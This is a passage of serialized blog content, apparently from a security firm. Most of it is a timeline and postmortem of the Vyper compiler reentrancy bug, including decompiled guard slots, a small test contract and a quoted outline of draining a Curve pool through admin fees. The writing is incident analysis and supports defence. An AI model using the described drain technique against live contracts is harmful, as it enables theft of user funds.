83],{"type":28,"value":706},{"type":23,"tag":41,"props":30185,"children":30186},{"style":114},[30187],{"type":28,"value":2458},{"type":23,"tag":41,"props":30189,"children":30190},{"style":70},[30191],{"type":28,"value":2463},{"type":23,"tag":41,"props":30193,"children":30194},{"style":858},[30195],{"type":28,"value":30196},"markedMemorySafe",{"type":23,"tag":41,"props":30198,"children":30199},{"style":70},[30200],{"type":28,"value":1969},{"type":23,"tag":41,"props":30202,"children":30203},{"class":43,"line":105},[30204,30209,30213,30218],{"type":23,"tag":41,"props":30205,"children":30206},{"style":858},[30207],{"type":28,"value":30208},"        m_context",{"type":23,"tag":41,"props":30210,"children":30211},{"style":70},[30212],{"type":28,"value":706},{"type":23,"tag":41,"props":30214,"children":30215},{"style":114},[30216],{"type":28,"value":30217},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":41,"props":30219,"children":30220},{"style":70},[30221],{"type":28,"value":3669},{"type":23,"tag":41,"props":30223,"children":30224},{"class":43,"line":155},[30225,30230,30234,30238,30243,30248,30252,30256,30260,30264,30269],{"type":23,"tag":41,"props":30226,"children":30227},{"style":70},[30228],{"type":28,"value":30229},"    CopyTranslate bodyCopier{",{"type":23,"tag":41,"props":30231,"children":30232},{"style":858},[30233],{"type":28,"value":30150},{"type":23,"tag":41,"props":30235,"children":30236},{"style":70},[30237],{"type":28,"value":706},{"type":23,"tag":41,"props":30239,"children":30240},{"style":114},[30241],{"type":28,"value":30242},"dialect",{"type":23,"tag":41,"props":30244,"children":30245},{"style":70},[30246],{"type":28,"value":30247},"(), m_context, ",{"type":23,"tag":41,"props":30249,"children":30250},{"style":858},[30251],{"type":28,"value":30150},{"type":23,"tag":41,"props":30253,"children":30254},{"style":70},[30255],{"type":28,"value":706},{"type":23,"tag":41,"props":30257,"children":30258},{"style":114},[30259],{"type":28,"value":2458},{"type":23,"tag":41,"props":30261,"children":30262},{"style":70},[30263],{"type":28,"value":2463},{"type":23,"tag":41,"props":30265,"children":30266},{"style":858},[30267],{"type":28,"value":30268},"externalReferences",{"type":23,"tag":41,"props":30270,"children":30271},{"style":70},[30272],{"type":28,"value":936},{"type":23,"tag":41,"props":30274,"children":30275},{"class":43,"line":186},[30276],{"type":23,"tag":41,"props":30277,"children":30278},{"emptyLinePlaceholder":18},[30279],{"type":28,"value":82},{"type":23,"tag":41,"props":30281,"children":30282},{"class":43,"line":195},[30283,30288,30292,30297,30301,30305,30309,30314],{"type":23,"tag":41,"props":30284,"children":30285},{"style":70},[30286],{"type":28,"value":30287},"    yul::Statement modified ",{"type":23,"tag":41,"props":30289,"children":30290},{"style":170},[30291],{"type":28,"value":2381},{"type":23,"tag":41,"props":30293,"children":30294},{"style":114},[30295],{"type":28,"value":30296}," bodyCopier",{"type":23,"tag":41,"props":30298,"children":30299},{"style":70},[30300],{"type":28,"value":1737},{"type":23,"tag":41,"props":30302,"children":30303},{"style":858},[30304],{"type":28,"value":30150},{"type":23,"tag":41,"props":30306,"children":30307},{"style":70},[30308],{"type":28,"value":706},{"type":23,"tag":41,"props":30310,"children":30311},{"style":114},[30312],{"type":28,"value":30313},"operations",{"type":23,"tag":41,"props":30315,"children":30316},{"style":70},[30317],{"type":28,"value":30318},"());`\n",{"type":23,"tag":5436,"props":30320,"children":30321},{"start":54},[30322],{"type":23,"tag":421,"props":30323,"children":30324},{},[30325],{"type":28,"value":30326},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":24,"props":30328,"children":30329},{},[30330],{"type":28,"value":30331},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":446,"props":30333,"children":30334},{"id":5309},[30335],{"type":28,"value":5312},{"type":23,"tag":24,"props":30337,"children":30338},{},[30339],{"type":28,"value":30340},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":24,"props":30342,"children":30343},{},[30344],{"type":28,"value":30345},"It's a promise between YUL generation and optimization.",{"type":23,"tag":18410,"props":30347,"children":30349},{"className":30348,"dataFootnotes":7},[18413],[30350,30355],{"type":23,"tag":446,"props":30351,"children":30353},{"className":30352,"id":15472},[18418],[30354],{"type":28,"value":18421},{"type":23,"tag":5436,"props":30356,"children":30357},{},[30358,30392],{"type":23,"tag":421,"props":30359,"children":30361},{"id":30360},"user-content-fn-1",[30362,30364,30369,30371,30377,30379,30384,30386],{"type":28,"value":30363},"As an interesting aside, ",{"type":23,"tag":37,"props":30365,"children":30367},{"className":30366},[],[30368],{"type":28,"value":29367},{"type":28,"value":30370}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":37,"props":30372,"children":30374},{"className":30373},[],[30375],{"type":28,"value":30376},"memory-unsafe",{"type":28,"value":30378}," code can ",{"type":23,"tag":2913,"props":30380,"children":30381},{},[30382],{"type":28,"value":30383},"decrease",{"type":28,"value":30385}," gas consumption, especially in the YUL header. ",{"type":23,"tag":458,"props":30387,"children":30390},{"href":30388,"ariaLabel":18524,"className":30389,"dataFootnoteBackref":7},"#user-content-fnref-1",[18526],[30391],{"type":28,"value":18529},{"type":23,"tag":421,"props":30393,"children":30395},{"id":30394},"user-content-fn-2",[30396,30398,30403,30405],{"type":28,"value":30397},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":2913,"props":30399,"children":30400},{},[30401],{"type":28,"value":30402},"guarantee",{"type":28,"value":30404}," behavior with opaque bytes. ",{"type":23,"tag":458,"props":30406,"children":30409},{"href":30407,"ariaLabel":18544,"className":30408,"dataFootnoteBackref":7},"#user-content-fnref-2",[18526],[30410],{"type":28,"value":18529},{"type":23,"tag":2843,"props":30412,"children":30413},{},[30414],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":30416},[30417,30418,30419,30420,30421,30422,30423],{"id":29014,"depth":54,"text":29017},{"id":29068,"depth":54,"text":29071},{"id":29329,"depth":54,"text":29332},{"id":29063,"depth":54,"text":29553},{"id":29899,"depth":54,"text":29902},{"id":5309,"depth":54,"text":5312},{"id":15472,"depth":54,"text":18421},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":30428,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30429,"description":30430,"author":5720,"image":30431,"date":30433,"isFeatured":18,"onBlogPage":18,"tags":30434,"body":30436,"_type":2864,"_id":31186,"_source":2866,"_file":31187,"_stem":31188,"_extension":2869},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":30432,"height":13,"width":13},"/posts/vyper-timeline/header.jpg","2023-08-01",[30435,17],"vyper",{"type":20,"children":30437,"toc":31177},[30438,30443,30448,30453,30459,30464,30482,30492,30497,30505,30515,30534,30614,30624,30783,30788,30793,30803,30810,30815,30820,30834,30839,30856,30873,30892,30902,30915,30920,30933,30938,30943,30953,30980,30990,31020,31026,31035,31041,31046,31051,31056,31062,31067,31081,31086,31091,31096,31102,31107,31120,31146,31151,31173],{"type":23,"tag":24,"props":30439,"children":30440},{},[30441],{"type":28,"value":30442},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":23,"tag":24,"props":30444,"children":30445},{},[30446],{"type":28,"value":30447},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":23,"tag":24,"props":30449,"children":30450},{},[30451],{"type":28,"value":30452},"Here's how it all happened.",{"type":23,"tag":446,"props":30454,"children":30456},{"id":30455},"timeline",[30457],{"type":28,"value":30458},"Timeline",{"type":23,"tag":24,"props":30460,"children":30461},{},[30462],{"type":28,"value":30463},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":23,"tag":24,"props":30465,"children":30466},{},[30467,30472,30474,30481],{"type":23,"tag":510,"props":30468,"children":30469},{},[30470],{"type":28,"value":30471},"13:10 UTC",{"type":28,"value":30473}," pETH/ETH was ",{"type":23,"tag":458,"props":30475,"children":30478},{"href":30476,"rel":30477},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[462],[30479],{"type":28,"value":30480},"drained of $11M",{"type":28,"value":706},{"type":23,"tag":24,"props":30483,"children":30484},{},[30485,30490],{"type":23,"tag":510,"props":30486,"children":30487},{},[30488],{"type":28,"value":30489},"13:19 UTC",{"type":28,"value":30491}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":23,"tag":24,"props":30493,"children":30494},{},[30495],{"type":28,"value":30496},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":23,"tag":518,"props":30498,"children":30499},{},[30500],{"type":23,"tag":24,"props":30501,"children":30502},{},[30503],{"type":28,"value":30504},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":23,"tag":24,"props":30506,"children":30507},{},[30508,30513],{"type":23,"tag":510,"props":30509,"children":30510},{},[30511],{"type":28,"value":30512},"14:01 UTC",{"type":28,"value":30514}," A warroom was formed around this comment.",{"type":23,"tag":24,"props":30516,"children":30517},{},[30518,30523,30525,30532],{"type":23,"tag":510,"props":30519,"children":30520},{},[30521],{"type":28,"value":30522},"14:07 UTC",{"type":28,"value":30524}," We decompiled the JPEGd contract ",{"type":23,"tag":458,"props":30526,"children":30529},{"href":30527,"rel":30528},"https://ethervm.io/decompile",[462],[30530],{"type":28,"value":30531},"with our favorite decompiler",{"type":28,"value":30533}," and noted a difference in reentrancy guard storage slot.",{"type":23,"tag":31,"props":30535,"children":30539},{"className":30536,"code":30537,"language":30538,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[30540],{"type":23,"tag":37,"props":30541,"children":30542},{"__ignoreMap":7},[30543,30551,30559,30567,30575,30582,30590,30598,30606],{"type":23,"tag":41,"props":30544,"children":30545},{"class":43,"line":44},[30546],{"type":23,"tag":41,"props":30547,"children":30548},{},[30549],{"type":28,"value":30550},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":23,"tag":41,"props":30552,"children":30553},{"class":43,"line":54},[30554],{"type":23,"tag":41,"props":30555,"children":30556},{},[30557],{"type":28,"value":30558},"label_0057:\n",{"type":23,"tag":41,"props":30560,"children":30561},{"class":43,"line":76},[30562],{"type":23,"tag":41,"props":30563,"children":30564},{},[30565],{"type":28,"value":30566},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":41,"props":30568,"children":30569},{"class":43,"line":85},[30570],{"type":23,"tag":41,"props":30571,"children":30572},{},[30573],{"type":28,"value":30574},"    storage[0x00] = 0x01;\n",{"type":23,"tag":41,"props":30576,"children":30577},{"class":43,"line":105},[30578],{"type":23,"tag":41,"props":30579,"children":30580},{"emptyLinePlaceholder":18},[30581],{"type":28,"value":82},{"type":23,"tag":41,"props":30583,"children":30584},{"class":43,"line":155},[30585],{"type":23,"tag":41,"props":30586,"children":30587},{},[30588],{"type":28,"value":30589},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":23,"tag":41,"props":30591,"children":30592},{"class":43,"line":186},[30593],{"type":23,"tag":41,"props":30594,"children":30595},{},[30596],{"type":28,"value":30597},"label_1AF3:\n",{"type":23,"tag":41,"props":30599,"children":30600},{"class":43,"line":195},[30601],{"type":23,"tag":41,"props":30602,"children":30603},{},[30604],{"type":28,"value":30605},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":23,"tag":41,"props":30607,"children":30608},{"class":43,"line":905},[30609],{"type":23,"tag":41,"props":30610,"children":30611},{},[30612],{"type":28,"value":30613},"    storage[0x02] = 0x01;\n",{"type":23,"tag":24,"props":30615,"children":30616},{},[30617,30622],{"type":23,"tag":510,"props":30618,"children":30619},{},[30620],{"type":28,"value":30621},"14:27 UTC",{"type":28,"value":30623}," We confirmed this behavior with a simple local test contract.",{"type":23,"tag":31,"props":30625,"children":30627},{"className":19449,"code":30626,"language":19448,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[30628],{"type":23,"tag":37,"props":30629,"children":30630},{"__ignoreMap":7},[30631,30639,30660,30694,30706,30713,30720,30739,30771],{"type":23,"tag":41,"props":30632,"children":30633},{"class":43,"line":44},[30634],{"type":23,"tag":41,"props":30635,"children":30636},{"style":114},[30637],{"type":28,"value":30638},"@external\n",{"type":23,"tag":41,"props":30640,"children":30641},{"class":43,"line":54},[30642,30647,30651,30656],{"type":23,"tag":41,"props":30643,"children":30644},{"style":114},[30645],{"type":28,"value":30646},"@nonreentrant",{"type":23,"tag":41,"props":30648,"children":30649},{"style":70},[30650],{"type":28,"value":1737},{"type":23,"tag":41,"props":30652,"children":30653},{"style":735},[30654],{"type":28,"value":30655},"\"lock\"",{"type":23,"tag":41,"props":30657,"children":30658},{"style":70},[30659],{"type":28,"value":1969},{"type":23,"tag":41,"props":30661,"children":30662},{"class":43,"line":76},[30663,30668,30672,30676,30681,30686,30690],{"type":23,"tag":41,"props":30664,"children":30665},{"style":64},[30666],{"type":28,"value":30667},"def",{"type":23,"tag":41,"props":30669,"children":30670},{"style":114},[30671],{"type":28,"value":1238},{"type":23,"tag":41,"props":30673,"children":30674},{"style":70},[30675],{"type":28,"value":1737},{"type":23,"tag":41,"props":30677,"children":30678},{"style":858},[30679],{"type":28,"value":30680},"addr",{"type":23,"tag":41,"props":30682,"children":30683},{"style":70},[30684],{"type":28,"value":30685},": address) -> ",{"type":23,"tag":41,"props":30687,"children":30688},{"style":94},[30689],{"type":28,"value":991},{"type":23,"tag":41,"props":30691,"children":30692},{"style":70},[30693],{"type":28,"value":5568},{"type":23,"tag":41,"props":30695,"children":30696},{"class":43,"line":85},[30697,30701],{"type":23,"tag":41,"props":30698,"children":30699},{"style":58},[30700],{"type":28,"value":1090},{"type":23,"tag":41,"props":30702,"children":30703},{"style":64},[30704],{"type":28,"value":30705}," True\n",{"type":23,"tag":41,"props":30707,"children":30708},{"class":43,"line":105},[30709],{"type":23,"tag":41,"props":30710,"children":30711},{"emptyLinePlaceholder":18},[30712],{"type":28,"value":82},{"type":23,"tag":41,"props":30714,"children":30715},{"class":43,"line":155},[30716],{"type":23,"tag":41,"props":30717,"children":30718},{"style":114},[30719],{"type":28,"value":30638},{"type":23,"tag":41,"props":30721,"children":30722},{"class":43,"line":186},[30723,30727,30731,30735],{"type":23,"tag":41,"props":30724,"children":30725},{"style":114},[30726],{"type":28,"value":30646},{"type":23,"tag":41,"props":30728,"children":30729},{"style":70},[30730],{"type":28,"value":1737},{"type":23,"tag":41,"props":30732,"children":30733},{"style":735},[30734],{"type":28,"value":30655},{"type":23,"tag":41,"props":30736,"children":30737},{"style":70},[30738],{"type":28,"value":1969},{"type":23,"tag":41,"props":30740,"children":30741},{"class":43,"line":195},[30742,30746,30751,30755,30759,30763,30767],{"type":23,"tag":41,"props":30743,"children":30744},{"style":64},[30745],{"type":28,"value":30667},{"type":23,"tag":41,"props":30747,"children":30748},{"style":114},[30749],{"type":28,"value":30750}," test2",{"type":23,"tag":41,"props":30752,"children":30753},{"style":70},[30754],{"type":28,"value":1737},{"type":23,"tag":41,"props":30756,"children":30757},{"style":858},[30758],{"type":28,"value":30680},{"type":23,"tag":41,"props":30760,"children":30761},{"style":70},[30762],{"type":28,"value":30685},{"type":23,"tag":41,"props":30764,"children":30765},{"style":94},[30766],{"type":28,"value":991},{"type":23,"tag":41,"props":30768,"children":30769},{"style":70},[30770],{"type":28,"value":5568},{"type":23,"tag":41,"props":30772,"children":30773},{"class":43,"line":905},[30774,30778],{"type":23,"tag":41,"props":30775,"children":30776},{"style":58},[30777],{"type":28,"value":1090},{"type":23,"tag":41,"props":30779,"children":30780},{"style":64},[30781],{"type":28,"value":30782}," False\n",{"type":23,"tag":24,"props":30784,"children":30785},{},[30786],{"type":28,"value":30787},"This was not just another reentrancy bug.",{"type":23,"tag":24,"props":30789,"children":30790},{},[30791],{"type":28,"value":30792},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":23,"tag":24,"props":30794,"children":30795},{},[30796,30801],{"type":23,"tag":510,"props":30797,"children":30798},{},[30799],{"type":28,"value":30800},"14:37 UTC",{"type":28,"value":30802}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":23,"tag":24,"props":30804,"children":30805},{},[30806],{"type":23,"tag":3918,"props":30807,"children":30809},{"alt":7,"src":30808},"/posts/vyper-timeline/sstore.png",[],{"type":23,"tag":24,"props":30811,"children":30812},{},[30813],{"type":28,"value":30814},"It was a race with the hackers.",{"type":23,"tag":24,"props":30816,"children":30817},{},[30818],{"type":28,"value":30819},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":23,"tag":518,"props":30821,"children":30822},{},[30823],{"type":23,"tag":24,"props":30824,"children":30825},{},[30826,30828],{"type":28,"value":30827},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":23,"tag":458,"props":30829,"children":30832},{"href":30830,"rel":30831},"https://twitter.com/hexagate_/status/1685677801813217280",[462],[30833],{"type":28,"value":30830},{"type":23,"tag":24,"props":30835,"children":30836},{},[30837],{"type":28,"value":30838},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":23,"tag":24,"props":30840,"children":30841},{},[30842,30847,30848,30855],{"type":23,"tag":510,"props":30843,"children":30844},{},[30845],{"type":28,"value":30846},"14:50 UTC",{"type":28,"value":6456},{"type":23,"tag":458,"props":30849,"children":30852},{"href":30850,"rel":30851},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[462],[30853],{"type":28,"value":30854},"msETH/ETH was drained",{"type":28,"value":706},{"type":23,"tag":24,"props":30857,"children":30858},{},[30859,30864,30865,30872],{"type":23,"tag":510,"props":30860,"children":30861},{},[30862],{"type":28,"value":30863},"15:34 UTC",{"type":28,"value":6456},{"type":23,"tag":458,"props":30866,"children":30869},{"href":30867,"rel":30868},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[462],[30870],{"type":28,"value":30871},"alETH/ETH was drained",{"type":28,"value":706},{"type":23,"tag":24,"props":30874,"children":30875},{},[30876,30881,30883,30890],{"type":23,"tag":510,"props":30877,"children":30878},{},[30879],{"type":28,"value":30880},"15:43 UTC",{"type":28,"value":30882}," We identified that ",{"type":23,"tag":458,"props":30884,"children":30887},{"href":30885,"rel":30886},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[462],[30888],{"type":28,"value":30889},"CRV/ETH was vulnerable",{"type":28,"value":30891},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":23,"tag":24,"props":30893,"children":30894},{},[30895,30900],{"type":23,"tag":510,"props":30896,"children":30897},{},[30898],{"type":28,"value":30899},"16:11 UTC",{"type":28,"value":30901}," We began working on a whitehat exploit.",{"type":23,"tag":24,"props":30903,"children":30904},{},[30905,30907,30914],{"type":28,"value":30906},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":23,"tag":458,"props":30908,"children":30911},{"href":30909,"rel":30910},"https://twitter.com/vyperlang/status/1685692973051498497",[462],[30912],{"type":28,"value":30913},"public statement on affected versions",{"type":28,"value":706},{"type":23,"tag":24,"props":30916,"children":30917},{},[30918],{"type":28,"value":30919},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":23,"tag":24,"props":30921,"children":30922},{},[30923,30925,30932],{"type":28,"value":30924},"Five minutes later at 19:11 UTC, ",{"type":23,"tag":458,"props":30926,"children":30929},{"href":30927,"rel":30928},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[462],[30930],{"type":28,"value":30931},"somebody else stole the funds",{"type":28,"value":706},{"type":23,"tag":24,"props":30934,"children":30935},{},[30936],{"type":28,"value":30937},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":23,"tag":24,"props":30939,"children":30940},{},[30941],{"type":28,"value":30942},"Nevertheless, there was more ground to cover.",{"type":23,"tag":24,"props":30944,"children":30945},{},[30946,30951],{"type":23,"tag":510,"props":30947,"children":30948},{},[30949],{"type":28,"value":30950},"21:26 UTC",{"type":28,"value":30952}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":23,"tag":518,"props":30954,"children":30955},{},[30956],{"type":23,"tag":24,"props":30957,"children":30958},{},[30959,30961,30965,30967,30970,30972,30975,30977],{"type":28,"value":30960},"if you send like 30k crv to the crv/eth pool ",{"type":23,"tag":30962,"props":30963,"children":30964},"br",{},[],{"type":28,"value":30966},"\nyou can then update admin fee ",{"type":23,"tag":30962,"props":30968,"children":30969},{},[],{"type":28,"value":30971},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":23,"tag":30962,"props":30973,"children":30974},{},[],{"type":28,"value":30976},"\nso you can basically drain whole pool for few hundred K crv ",{"type":23,"tag":30962,"props":30978,"children":30979},{},[],{"type":23,"tag":24,"props":30981,"children":30982},{},[30983,30988],{"type":23,"tag":510,"props":30984,"children":30985},{},[30986],{"type":28,"value":30987},"21:52 UTC",{"type":28,"value":30989}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":23,"tag":24,"props":30991,"children":30992},{},[30993,30995,31002,31004,31011,31019],{"type":28,"value":30994},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":23,"tag":458,"props":30996,"children":30999},{"href":30997,"rel":30998},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[462],[31000],{"type":28,"value":31001},"CRV admin fee bot",{"type":28,"value":31003}," had claimed fees and ",{"type":23,"tag":458,"props":31005,"children":31008},{"href":31006,"rel":31007},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[462],[31009],{"type":28,"value":31010},"the pool was drained",{"type":23,"tag":15465,"props":31012,"children":31013},{},[31014],{"type":23,"tag":458,"props":31015,"children":31017},{"href":29620,"ariaDescribedBy":31016,"dataFootnoteRef":7,"id":29622},[15472],[31018],{"type":28,"value":317},{"type":28,"value":706},{"type":23,"tag":446,"props":31021,"children":31023},{"id":31022},"blame",[31024],{"type":28,"value":31025},"Blame",{"type":23,"tag":24,"props":31027,"children":31028},{},[31029,31033],{"type":23,"tag":2913,"props":31030,"children":31031},{},[31032],{"type":28,"value":31025},{"type":28,"value":31034}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":23,"tag":546,"props":31036,"children":31038},{"id":31037},"races",[31039],{"type":28,"value":31040},"Races",{"type":23,"tag":24,"props":31042,"children":31043},{},[31044],{"type":28,"value":31045},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":23,"tag":24,"props":31047,"children":31048},{},[31049],{"type":28,"value":31050},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":23,"tag":24,"props":31052,"children":31053},{},[31054],{"type":28,"value":31055},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":23,"tag":546,"props":31057,"children":31059},{"id":31058},"information-leakage",[31060],{"type":28,"value":31061},"Information Leakage",{"type":23,"tag":24,"props":31063,"children":31064},{},[31065],{"type":28,"value":31066},"I was both an auditor and a whitehat.",{"type":23,"tag":24,"props":31068,"children":31069},{},[31070,31072,31079],{"type":28,"value":31071},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":23,"tag":458,"props":31073,"children":31076},{"href":31074,"rel":31075},"https://twitter.com/osec_io/status/1579969927020412929",[462],[31077],{"type":28,"value":31078},"by publishing the \"scoop\"",{"type":28,"value":31080}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":23,"tag":24,"props":31082,"children":31083},{},[31084],{"type":28,"value":31085},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":23,"tag":24,"props":31087,"children":31088},{},[31089],{"type":28,"value":31090},"Half an hour more could have saved $18M.",{"type":23,"tag":24,"props":31092,"children":31093},{},[31094],{"type":28,"value":31095},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":23,"tag":446,"props":31097,"children":31099},{"id":31098},"next-steps",[31100],{"type":28,"value":31101},"Next Steps",{"type":23,"tag":24,"props":31103,"children":31104},{},[31105],{"type":28,"value":31106},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":23,"tag":24,"props":31108,"children":31109},{},[31110,31112,31119],{"type":28,"value":31111},"It's important to note that this bug ",{"type":23,"tag":458,"props":31113,"children":31116},{"href":31114,"rel":31115},"https://twitter.com/real_philogy/status/1685948253139857409",[462],[31117],{"type":28,"value":31118},"was patched since November 2021",{"type":28,"value":706},{"type":23,"tag":518,"props":31121,"children":31122},{},[31123],{"type":23,"tag":24,"props":31124,"children":31125},{},[31126,31128,31133,31134,31137,31139,31144],{"type":28,"value":31127},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":23,"tag":2913,"props":31129,"children":31130},{},[31131],{"type":28,"value":31132},"processes",{"type":28,"value":18520},{"type":23,"tag":30962,"props":31135,"children":31136},{},[],{"type":28,"value":31138},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":23,"tag":2913,"props":31140,"children":31141},{},[31142],{"type":28,"value":31143},"was",{"type":28,"value":31145}," fixed.",{"type":23,"tag":24,"props":31147,"children":31148},{},[31149],{"type":28,"value":31150},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":23,"tag":18410,"props":31152,"children":31154},{"className":31153,"dataFootnotes":7},[18413],[31155,31160],{"type":23,"tag":446,"props":31156,"children":31158},{"className":31157,"id":15472},[18418],[31159],{"type":28,"value":18421},{"type":23,"tag":5436,"props":31161,"children":31162},{},[31163],{"type":23,"tag":421,"props":31164,"children":31165},{"id":30360},[31166,31168],{"type":28,"value":31167},"Thankfully, these funds were later returned. ",{"type":23,"tag":458,"props":31169,"children":31171},{"href":30388,"ariaLabel":18524,"className":31170,"dataFootnoteBackref":7},[18526],[31172],{"type":28,"value":18529},{"type":23,"tag":2843,"props":31174,"children":31175},{},[31176],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":31178},[31179,31180,31184,31185],{"id":30455,"depth":54,"text":30458},{"id":31022,"depth":54,"text":31025,"children":31181},[31182,31183],{"id":31037,"depth":76,"text":31040},{"id":31058,"depth":76,"text":31061},{"id":31098,"depth":54,"text":31101},{"id":15472,"depth":54,"text":18421},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":31190,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31191,"description":31192,"author":31193,"image":31196,"date":31198,"isFeatured":18,"tags":31199,"onBlogPage":18,"body":31202,"_type":2864,"_id":35413,"_source":2866,"_file":35414,"_stem":35415,"_extension":2869},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various 